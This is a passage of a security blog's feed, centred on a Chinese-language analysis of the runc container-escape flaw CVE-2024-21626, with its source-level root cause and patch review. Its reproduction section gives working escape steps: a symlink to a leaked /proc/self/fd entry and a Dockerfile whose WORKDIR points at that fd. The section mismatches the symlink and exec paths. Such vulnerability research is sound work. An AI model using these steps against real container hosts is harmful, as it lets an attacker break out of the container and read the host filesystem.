href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-fc42bf5ea0492ff89c8787de7a5d14b0-573b7f.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-04-20-fc42bf5ea0492ff89c8787de7a5d14b0-573b7f.png" alt="image.png"></a></p><h2 id="Reference-link"><a href="#Reference-link" class="headerlink" title="Reference link"></a>Reference link</h2><div id="footnotes"><hr><div id="footnotelist"><ol style="list-style: none; padding-left: 0; margin-left: 40px"><li id="fn:1"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">1.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">CVE-2024-3400 https://security.paloaltonetworks.com/CVE-2024-3400<a href="#fnref:1" rev="footnote"> ↩</a></span></li><li id="fn:2"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">2.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400 https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/<a href="#fnref:2" rev="footnote"> ↩</a></span></li><li id="fn:3"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">3.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">Larryxi blog https://aslr.io/about/<a href="#fnref:3" rev="footnote"> ↩</a></span></li><li id="fn:4"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">4.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">fcntl.h#24 https://elixir.bootlin.com/linux/latest/source/include/uapi/asm-generic/fcntl.h#L24<a href="#fnref:4" rev="footnote"> ↩</a></span></li><li id="fn:5"><span style="display: inline-block; vertical-align: top; padding-right: 10px; margin-left: -40px">5.</span><span style="display: inline-block; vertical-align: top; margin-left: 10px;">device-telemetry-overview https://docs.paloaltonetworks.com/pan-os/11-0/pan-os-admin/device-telemetry/device-telemetry-overview<a href="#fnref:5" rev="footnote"> ↩</a></span></li></ol></div></div></div><script src="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/js/lightgallery.min.js"></script><script>if (typeof lightGallery !== 'undefined') {        var options = {            selector: '.gallery-item'        };        lightGallery(document.getElementsByClassName('.article-gallery')[0], options);        }</script>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; hr</summary>
      
    
    
    
    <category term="Note" scheme="https://bestwing.me/categories/Note/"/>
    
    
    <category term="cve-2024-3400" scheme="https://bestwing.me/tags/cve-2024-3400/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2024-21626 容器逃逸漏洞分析</title>
    <link href="https://bestwing.me/CVE-2024-21626-container-escape.html"/>
    <id>https://bestwing.me/CVE-2024-21626-container-escape.html</id>
    <published>2024-02-01T08:18:59.000Z</published>
    <updated>2026-02-11T09:23:12.190Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/css/lightgallery.min.css" /><div class=".article-gallery"<h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL; DR"></a>TL; DR</h2><p>最近公开了一个 runc 容器逃逸的<a href="https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv">公告</a>, 从公告看漏洞影响范围是： <code>&gt;=v1.0.0-rc93,&lt;=1.1.11</code> , 补丁版本为： 1.1.12， 这里我的复现版本是：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># root @ pwnable in ~ [16:27:23]</span></span><br><span class="line">$ docker info | grep <span class="string">&quot;runc&quot;</span></span><br><span class="line"> Runtimes: io.containerd.runc.v2 runc</span><br><span class="line"> Default Runtime: runc</span><br><span class="line"> runc version: v1.1.7-0-g860f061</span><br></pre></td></tr></table></figure><p>于是我和 @explorer 以及 @leommxj 一起简单看了一下。</p><h2 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h2><p>从公告讲就是 <code>runc run</code> 或者 <code>runc exec</code> 的过程中有存在没有及时关闭的 <code>fd</code> ，导致文件描述符泄漏在容器环境中，用户可以通过这个文件描述来进行容器逃逸。</p><p>首先来做一个赛博考古， 公告提到该漏洞是在 <code>v1.0.0-rc93</code> 这个版本引入的，在这个版本找到了两个打开 cgroup 地方。</p><p>一处是在这个 <a href="https://github.com/opencontainers/runc/commit/fad92bbffa9c13652c07f1966606089e28442a87">commit </a> 中，在 <code>(m *manager) Apply(pid int) (err error) </code> 函数中加载了 cgroup ， 然后在 <code>func (p *initProcess) start()</code> 函数里调用到了。具体文件行号为 fs.go:339</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> err := p.manager.Apply(p.pid()); err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> newSystemErrorWithCause(err, <span class="string">&quot;applying cgroup configuration for process&quot;</span>)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-01-dfd0b187a7a90ee33fe0907ee0221b6a-9f4d04.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-01-dfd0b187a7a90ee33fe0907ee0221b6a-9f4d04.png" alt="image.png"></a></p><p>此处在rc93 这个版本 release 的。</p><p>2月2日，我对blog更新了如下<a href="https://bestwing.me/CVE-2024-21626-container-escape.html#update-2024-2-2">内容</a>, 基本可以判断泄漏 fd 的地方就是在 这个 commit 引入的了。</p><p>首先我们在runc代码的 <code>file.go</code> 代码中，假设有这么一个调用链： （并不是所有的 <code>OpenFile</code> 函数都会是 <code>ReadFIle</code> 调用）</p><p><code>ReadFile</code> -&gt; <code>OpenFile</code>-&gt; <code>openFile</code> -&gt; <code>prepareOpenat2</code> </p><p>而在次新版本（未更添加补丁的）的代码中 ，即从这个 <a href="https://github.com/opencontainers/runc/commit/2a4ed3e75b9e80d93d1836a9c4c1ebfa2b78870e">commit</a> 中可以看出是因为 <code>prepareOpenat2</code> 函数是在检查<code>openat2</code> 这个syscall 是不是能被正常调用，如果调用失败， 则进到 <code>openFallback</code> 函数中，如果成功则用后续使用 <code>unix.Openat2</code> 打开 <code>/sys/fs/cgroup</code> ，此处的 <code>unix.Openat2</code> 是有 <code>O_CLOEXEC</code> flag的。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//https://github.com/opencontainers/runc/blob/2a4ed3e75b9e80d93d1836a9c4c1ebfa2b78870e/libcontainer/cgroups/file.go#L127</span></span><br><span class="line">path := path.Join(dir, utils.CleanPath(file))</span><br><span class="line"><span class="keyword">if</span> prepareOpenat2() != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> openFallback(path, flags, mode)</span><br><span class="line">&#125;</span><br><span class="line">relPath := strings.TrimPrefix(path, cgroupfsPrefix)</span><br><span class="line"><span class="keyword">if</span> <span class="built_in">len</span>(relPath) == <span class="built_in">len</span>(path) &#123; <span class="comment">// non-standard path, old system?</span></span><br><span class="line"><span class="keyword">return</span> openFallback(path, flags, mode)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">fd, err := unix.Openat2(<span class="keyword">int</span>(cgroupRootHandle.Fd()), relPath,</span><br><span class="line">&amp;unix.OpenHow&#123;</span><br><span class="line">Resolve: resolveFlags,</span><br><span class="line">Flags:   <span class="keyword">uint64</span>(flags) | unix.O_CLOEXEC,</span><br><span class="line">Mode:    <span class="keyword">uint64</span>(mode),</span><br><span class="line">&#125;)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>然后如果 <code>prepareOpenat2</code>成功打开了 <code>/sys/fs/cgroup</code>， 则此时必有一个 fd 指向了 <code>/sys/fs/cgroup</code> 文件夹，</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-01-3d247d8ab3a957ac8360bb6ab274bc26-0d73a8.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-01-3d247d8ab3a957ac8360bb6ab274bc26-0d73a8.png" alt="image.png"></a></p><p> 可以从图上的这个补丁看出来，  <code>prepareOpenat2</code> 函数内打开这个文件夹的时候也没有用 <code>O_CLOEXEC</code> 这个标志。而且 <code>prepareOpenat2</code>函数内也并没有 close 掉这个这个 fd，且这个 fd 并没有通过 <code>prepareOpenat2</code> 函数返回, 因为如果能将这个 fd 返回话，在<code>ReadFile</code> 或者 <code>WriteFile</code> 中（或者其他函数），会通过  <code>defer fd.Close()</code> 这样的方法来关闭这个 fd 。</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">ReadFile</span><span class="params">(dir, file <span class="keyword">string</span>)</span> <span class="params">(<span class="keyword">string</span>, error)</span></span> &#123;</span><br><span class="line">fd, err := OpenFile(dir, file, unix.O_RDONLY)</span><br><span class="line"><span class="keyword">if</span> err != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> <span class="string">&quot;&quot;</span>, err</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">defer</span> fd.Close()</span><br><span class="line"><span class="keyword">var</span> buf bytes.Buffer</span><br><span class="line"></span><br><span class="line">_, err = buf.ReadFrom(fd)</span><br><span class="line"><span class="keyword">return</span> buf.String(), err</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><del>另外一处是在这个 <a href="https://github.com/opencontainers/runc/commit/e0c0b0cf321252b8d964fc64d62d21f107615304">commit</a>  中， 但是这个 commit 是 rc92 中 release的， 由于我和 @leoomxj 都暂时没看到这个 commit 打开的 cgroup 是否close 掉了，所以这里也提一句。</del></p><p><del><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-01-fdcb1245e8a627b547417799eadd58ee-172ae7.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-01-fdcb1245e8a627b547417799eadd58ee-172ae7.png" alt="image.png"></a></del></p><hr><p>经过仔细阅读公告和通过上面的分析，我们可以了解到问题的根源在于未及时清理打开的 <code>cgroup</code> 文件描述符（fd），导致泄漏。这在 init/exec 过程中表现为在 runc 的 <code>/proc/self/fd/7</code> 中可以找到被打开的 <code>cgroup</code>，但在后续启动的二进制文件中却被关闭了。</p><p>到这，根据公告的利用过程其思路核心为在 <code>runc</code> 创建子进程的时候且 exec(run) 即将执行的二进制文件还没关闭之前， 将 <code>cwd</code>设置为 <code>/proc/self/fd/7</code> , 这个这个时候这个二进制程序进程的 <code>/proc/pid/cwd</code> 就会指向容器外的<code>/sys/fs/cgroup</code> </p><p>接着我们开始做一点简单的漏洞复现</p><h2 id="漏洞复现"><a href="#漏洞复现" class="headerlink" title="漏洞复现"></a>漏洞复现</h2><p>公告中提到了如果设置 cwd 为 <code>/proc/self/fd</code> 就会导致逃逸</p><blockquote><p>If the container was configured to have process.cwd set to /proc/self/fd/7/ (the actual fd can change depending on file opening order in runc), the resulting pid1 process will have a working directory in the host mount namespace and thus the spawned process can access the entire host filesystem. </p></blockquote><h3 id="attack-2-runc-exec-过程-docker-exec"><a href="#attack-2-runc-exec-过程-docker-exec" class="headerlink" title="attack 2 runc exec 过程 (docker exec)"></a>attack 2 runc exec 过程 (docker exec)</h3><p>这里先复现比较感兴趣的<code>docker exec</code> 操作导致的容器逃逸， 通过公告的提示，我们做如下操作：</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-01-1ee7b4735f493775570f4ed53cf59e47-74d718.png" title="image-20240201211519027" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-01-1ee7b4735f493775570f4ed53cf59e47-74d718.png" alt="image-20240201211519027"></a></p><p>这时候发现我们当前的 cwd 目录其实就是在 <code>/sys/fs/cgroup</code>  中，而且是容器外的 <code>cwd</code>， 于是我们使用多个 <code>../</code> 就能读取主机的文件系统文件。</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-01-9848f9fce7b55b711bf45a9a66355abe-617837.png" title="image-20240201211835141" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-01-9848f9fce7b55b711bf45a9a66355abe-617837.png" alt="image-20240201211835141"></a></p><p>明显能看到 docker exec 的时候  <code>/proc/self/fd/7</code> 确实指向了 <code>cgroup</code> , 于是以此文章提出了一种逃逸场景</p><blockquote><p> The same fd leak and lack of verification of the working directory in attack 1 also apply to <code>runc exec</code>. If a malicious process inside the container knows that some administrative process will call <code>runc exec</code> with the <code>--cwd</code> argument and a given path, in most cases they can replace that path with a symlink to <code>/proc/self/fd/7/</code>. Once the container process has executed the container binary, <code>PR_SET_DUMPABLE</code> protections no longer apply and the attacker can open <code>/proc/$exec_pid/cwd</code> to get access to the host filesystem.</p></blockquote><blockquote><p> <code>runc exec</code> defaults to a cwd of <code>/</code> (which cannot be replaced with a symlink), so this attack depends on the attacker getting a user (or some administrative process) to use <code>--cwd</code> and figuring out what path the target working directory is. Note that if the target working directory is a parent of the program binary being executed, the attacker might be unable to replace the path with a symlink (the <code>execve</code> will fail in most cases, unless the host filesystem layout specifically matches the container layout in specific ways and the attacker knows which binary the <code>runc exec</code> is executing).</p></blockquote><p>具体场景为， 攻击者已经有了容器内shell， 然后需要主机外有 <code>docker exec</code> 命令， 且需要用到 <code>cwd</code>  参数， 然后攻击者得判断或者指定用户即将设置的 <code>cwd</code> 路径和当前这个 runc 是不是也是 fd 为 7 的时候指向 <code>cgroup</code> ， 然后提前设置好符号链接指向 <code>/proc/self/fd/7</code> , 复现流程如下：</p><p>假设我即将设置的 cwd 为 /tmp/hacker, 在容器中执行以下命令</p><ul><li><code>ln -s /proc/self/fd/7 /tmp/hacker</code> </li></ul><p>然后容器外执行一下命令</p><ul><li><code>docker exec -w /tmp/fuck -it cve-2024-21626 /bin/bash</code></li></ul><p>此时就会发现cwd已经是外面的/sys/fs/cgroup 了</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-01-0aba4477f88cdbe26e5e4b86c4ebc632-d327a5.png" title="image-20240201212846550" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-01-0aba4477f88cdbe26e5e4b86c4ebc632-d327a5.png" alt="image-20240201212846550"></a></p><h3 id="attack-1-docker-build-gt-恶意镜像"><a href="#attack-1-docker-build-gt-恶意镜像" class="headerlink" title="attack 1 (docker build) -&gt; 恶意镜像"></a>attack 1 (docker build) -&gt; 恶意镜像</h3><p>这里也提一下 docker builid 镜像的攻击手段， 我们从 <a href="https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/">https://snyk.io/blog/cve-2024-21626-runc-process-cwd-container-breakout/</a> 这个博客可以看到受害者执行一个 run 镜像的操作就被容器逃逸了。</p><p>这里的我的 Dockerfile 内容如下，此时我环境泄漏的 fd 是 8， 这个我是试出来的。</p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">FROM</span> ubuntu:<span class="number">22.04</span></span><br><span class="line"><span class="keyword">RUN</span><span class="bash"> ls -al ./</span></span><br><span class="line"><span class="keyword">WORKDIR</span><span class="bash"> /proc/self/fd/8</span></span><br></pre></td></tr></table></figure><p>首先 build 我的恶意镜像</p><ul><li><code> docker build -t test .</code></li></ul><p>然后执行恶意镜像</p><ul><li><code> docker run --rm -it test bash</code></li></ul><p>就会发现此时 <code>cwd</code> 就是在 cgroup， 通过 <code>../../</code> 就能穿越到 host 目录中</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-01-81fb372b81ebd7126f5992037d52b6dd-054740.png" title="image-20240201213539584" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-01-81fb372b81ebd7126f5992037d52b6dd-054740.png" alt="image-20240201213539584"></a></p><p>在漏洞修复之前，小心恶意镜像投毒哦 ~</p><h2 id="补丁分析"><a href="#补丁分析" class="headerlink" title="补丁分析"></a>补丁分析</h2><p>从这个 <a href="https://github.com/opencontainers/runc/commit/2a4ed3e75b9e80d93d1836a9c4c1ebfa2b78870e">2a4ed3e75b9e80d93d1836a9c4c1ebfa2b78870e</a> commit 中能看到几个比较明显的安全补丁（还有缓解措施）</p><ul><li>使用 <code>O_CLOEXEC</code> flag 来打开文件， 避免子进程继承了父进程的 fd </li></ul><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-01-3d247d8ab3a957ac8360bb6ab274bc26-0d73a8.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-01-3d247d8ab3a957ac8360bb6ab274bc26-0d73a8.png" alt="image.png"></a></p><p>详情 commit 链接： <a href="https://github.com/opencontainers/runc/commit/89c93ddf289437d5c8558b37047c54af6a0edb48">https://github.com/opencontainers/runc/commit/89c93ddf289437d5c8558b37047c54af6a0edb48</a></p><ul><li>新增了 <code>verifyCwd</code> 函数, 并在<code> finalizeNamespace</code> 中增加调用了 <code>verifyCwd</code> 检查是否cwd在容器namespace外</li></ul><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-01-cb49333e16be42b5cb86ebac0feac568-58854c.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-01-cb49333e16be42b5cb86ebac0feac568-58854c.png" alt="image.png"></a></p><ul><li>新增 <code>UnsafeCloseFrom</code> 函数， <code>linuxSetnsInit</code> &amp; <code>linuxStandardInit</code> 中增加了部分该函数的调用，关闭当前进程中大于或等于minFd的所有文件描述符，除了那些对Go运行时关键（例如netpoll管理描述符），</li></ul><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-01-e8cef47e36037879dc641a0d85a0db18-3fa173.png" title="image.png" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-01-e8cef47e36037879dc641a0d85a0db18-3fa173.png" alt="image.png"></a></p><h2 id="疑问"><a href="#疑问" class="headerlink" title="疑问"></a>疑问</h2><ol><li>究竟是哪个 commit 是真正引入漏洞的， 有没有同学深入再研究一下。</li><li>为什么提到了 <code>PR_SET_DUMPABLE</code> 这个， 我印象中这个是 core dump 相关的， 在 runc 中这个起了什么作用？</li></ol><h2 id="update-2024-2-2"><a href="#update-2024-2-2" class="headerlink" title="update 2024 / 2/ 2"></a>update 2024 / 2/ 2</h2><p>最近有好多小伙伴发现复现不了该漏洞， 然后 @likesec 同学提到了是 Linux kernel 版本的问题导致复现不了， 因为 5.6 之前的 Linux kernel 是不支持 openat2 这个 <a href="https://man7.org/linux/man-pages/man2/openat2.2.html" title="openat2 syscall ">syscall</a> 的。于是我和@leommxj 一起简单跟了一下代码，然后结果也基本能解决疑问中的第一个问题。</p><p>在<code>libcontainer/cgroups/file.go</code>中的<code>OpenFile-&gt;openFile-&gt;</code>中(注意不是<code>os.OpenFile</code>), 会先使用 <code>prepareOpenat2</code> 尝试用openat2 syscall 打开文件</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">openFile</span><span class="params">(dir, file <span class="keyword">string</span>, flags <span class="keyword">int</span>)</span> <span class="params">(*os.File, error)</span></span> &#123;</span><br><span class="line">mode := os.FileMode(<span class="number">0</span>)</span><br><span class="line"><span class="keyword">if</span> TestMode &amp;&amp; flags&amp;os.O_WRONLY != <span class="number">0</span> &#123;</span><br><span class="line"><span class="comment">// &quot;emulate&quot; cgroup fs for unit tests</span></span><br><span class="line">flags |= os.O_TRUNC | os.O_CREATE</span><br><span class="line">mode = <span class="number">0</span>o600</span><br><span class="line">&#125;</span><br><span class="line">path := path.Join(dir, utils.CleanPath(file))</span><br><span class="line"><span class="keyword">if</span> prepareOpenat2() != <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">return</span> openFallback(path, flags, mode)</span><br><span class="line">&#125;</span><br><span class="line">...</span><br><span class="line"></span><br><span class="line">fd, err := unix.Openat2(<span class="keyword">int</span>(cgroupRootHandle.Fd()), relPath,</span><br><span class="line">&amp;unix.OpenHow&#123;</span><br><span class="line">...</span><br><span class="line">&#125;)</span><br><span class="line">...</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>此时的 Openat2 缺少一个 <code>O_CLOEXEC</code> flag </p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-02-9d92837e64f60509927e8260620ef0dc-0c86a4.png" title="image-20240202182328218" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-02-9d92837e64f60509927e8260620ef0dc-0c86a4.png" alt="image-20240202182328218"></a></p><p>并且由于是为了测试内核是否支持openat2 syscall， 此fd没有返回，所以后续的defer关闭fd操作也没有对这个fd执行。比如<code>ReadFile</code> 函数的此处<a href="https://github.com/opencontainers/runc/blob/02120488a4c0fc487d1ed2867e901eeed7ce8ecf/libcontainer/cgroups/file.go#L38">代码</a>关闭 fd 。当然也还有其他调用 <code>OpenFIle</code>的方法，也是用类似的方法把 fd 关闭了。</p><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-02-ae9483121ff1048691b3bdf53943d6a6-e021fd.png" title="image-20240202182051863" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-02-ae9483121ff1048691b3bdf53943d6a6-e021fd.png" alt="image-20240202182051863"></a></p><p>如果内核不支持，这次调用也就失败了，自然没有成功打开的fd。后续会使用<code>os.OpenFile</code> 打开文件，而go的<code>os.OpenFile</code>在unix平台上会带上<code>syscall.O_CLOEXEC</code> flag，同时正常使用的fd也应该会被后续的代码释放掉。具体可以参考这个<a href="https://github.com/golang/go/blob/master/src/os/file_unix.go#L272">代码</a>：</p><figure class="highlight golang"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">func</span> <span class="title">openFileNolog</span><span class="params">(name <span class="keyword">string</span>, flag <span class="keyword">int</span>, perm FileMode)</span> <span class="params">(*File, error)</span></span> &#123;</span><br><span class="line">setSticky := <span class="literal">false</span></span><br><span class="line"><span class="keyword">if</span> !supportsCreateWithStickyBit &amp;&amp; flag&amp;O_CREATE != <span class="number">0</span> &amp;&amp; perm&amp;ModeSticky != <span class="number">0</span> &#123;</span><br><span class="line"><span class="keyword">if</span> _, err := Stat(name); IsNotExist(err) &#123;</span><br><span class="line">setSticky = <span class="literal">true</span></span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">var</span> r <span class="keyword">int</span></span><br><span class="line"><span class="keyword">var</span> s poll.SysFile</span><br><span class="line"><span class="keyword">for</span> &#123;</span><br><span class="line"><span class="keyword">var</span> e error</span><br><span class="line">r, s, e = open(name, flag|syscall.O_CLOEXEC, syscallMode(perm))</span><br><span class="line"><span class="keyword">if</span> e == <span class="literal">nil</span> &#123;</span><br><span class="line"><span class="keyword">break</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>因此低内核版本的同学会发现复现漏洞失败 ， 因为虽然走到了<code> prepareOpenat2</code> 函数中， 但是并没有成功打开<code>/sys/fs/cgroup/</code>， 因此没有 fd 泄漏的场景</p><p>这里说一句， 也有同学在问如何确定是 fd 的数字， 因为我们现在已经确定了是哪个地方泄漏的 fd ，所以我们其实可以用 strace 来 trace， 例如我要确定 <code>docker run --rm -it test</code> 的时候， 这个时候应该设置多少的 fd， 我们可以对 <code>/usr/bin/containerd</code> 进程进行 strace。</p><p>执行如下命令：</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">strace -ff -y -e trace=437 -p $(pidof /usr/bin/containerd)</span><br></pre></td></tr></table></figure><p><a href="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-02-0f6475d1e2a3915a62660589961dd305-e66dd0.png" title="image-20240202183039182" class="gallery-item"><img src="https://sw-blog.oss-cn-hongkong.aliyuncs.com/img/2024-02-02-0f6475d1e2a3915a62660589961dd305-e66dd0.png" alt="image-20240202183039182"></a></p><p>命令中是437是 <code>openat2</code>的syscall 编号，可以看到打开的 fd 是 8 </p><h2 id="Reference-link"><a href="#Reference-link" class="headerlink" title="Reference link"></a>Reference link</h2></div><script src="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/js/lightgallery.min.js"></script><script>if (typeof lightGallery !== 'undefined') {        var options = {            selector: '.gallery-item'        };        lightGallery(document.getElementsByClassName('.article-gallery')[0], options);        }</script>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; hr</summary>
      
    
    
    
    <category term="VulnerabilityAnalysis" scheme="https://bestwing.me/categories/VulnerabilityAnalysis/"/>
    
    
    <category term="cve-2024-21626" scheme="https://bestwing.me/tags/cve-2024-21626/"/>
    
    <category term="runc" scheme="https://bestwing.me/tags/runc/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2023-4966 citrix  内存泄漏</title>
    <link href="https://bestwing.me/CVE-2023-4966-Citrix-memory-leak.html"/>
    <id>https://bestwing.me/CVE-2023-4966-Citrix-memory-leak.html</id>
    <published>2023-10-24T14:10:14.000Z</published>
    <updated>2026-02-11T09:23:12.189Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/lightgallery.js/1.0.1/css/lightgallery.min.css" /><div class=".article-gallery"<h2 id="TL-DR"><a href="#TL-DR" class="headerlink" title="TL; DR"></a>TL; DR</h2><p>10月18日的时候注意到思杰官网发布了一个安全公告: <a href="https://support.citrix.com/article/CTX579459/netscaler-adc-and-netscaler-gateway-security-bulletin-for-cve20234966-and-cve20234967">NetScaler ADC and NetScaler Gateway Security Bulletin for CVE-2023-4966 and CVE-2023-4967</a> 。其中提到一个敏感信息泄露的漏洞。在今天（10月24日），assetnote 发布了一些细节文章，这里简单记录下。</p><h2 id="漏洞细节"><a href="#漏洞细节" class="headerlink" title="漏洞细节"></a>漏洞细节</h2><p>这里以 13.0-47 的固件为例子， 从固件拉出 nsppe 这个程序，用 IDA 打开分析。 搜索文章提到的字符串可以看到如下代码：</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">  want_to_write_len = <span class="built_in">snprintf</span>(</span><br><span class="line">                        print_temp_rule,</span><br><span class="line">                        <span class="number">0x10000</span>,</span><br><span class="line">                        (<span class="keyword">unsigned</span> <span class="keyword">int</span>)<span class="string">&quot;&#123;\&quot;issuer\&quot;: \&quot;https://%.*s\&quot;, \&quot;authorization_endpoint\&quot;: \&quot;https://%.*s/oauth/id&quot;</span></span><br><span class="line">                                      <span class="string">&quot;p/login\&quot;, \&quot;token_endpoint\&quot;: 